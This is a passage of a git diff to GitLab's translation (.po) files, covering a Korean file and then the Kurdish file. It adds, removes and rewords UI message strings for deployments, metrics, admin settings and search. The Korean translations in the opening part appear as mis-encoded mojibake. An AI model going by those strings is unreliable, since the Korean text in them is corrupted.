msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr "강제로 ìž ê¸ˆì„ ì œê±°í•˜ë ¤ë©´ ê´€ë¦¬ìž ê¶Œí•œì´ ìžˆì–´ì•¼í•©ë‹ˆë
msgid "You must provide a valid current password"
msgstr "정확한 현재 비밀번호를 제공해야 합니다."
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "비밀번호를 변경하기 위해서 현재 비밀번호를 제공해야 합니다."
@@ -47452,8 +48168,9 @@ msgstr "ì´ë¯¸ ì¼íšŒìš© ì¸ì¦ê¸°ë¥¼ ì´ìš©í•˜ì—¬ ì´ì¤‘ ì¸ì¦ì„ 활성화했
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr "ê·€í•˜ì˜ ì´ë¦„"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr "비밀번호 재설정 토í°ì´ 만료ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr "유효한 URLì´ ì•„ë‹™ë‹ˆë‹¤."
-
msgid "is not a valid X509 certificate."
msgstr "올바른 X509 ì¸ì¦ì„œê°€ 아닙니다."
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr "최ìƒìœ„ 그룹ì—서만 사용 가능합니다."
@@ -49864,6 +50584,9 @@ msgstr "'%{storage}'ì˜ ê°’ì€ 0ì—ì„œ 100 사ì´ì—¬ì•¼ 합니다."
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "버전 %{versionIndex}"
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index f804f1e7a55..3fa4d2eb15c 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
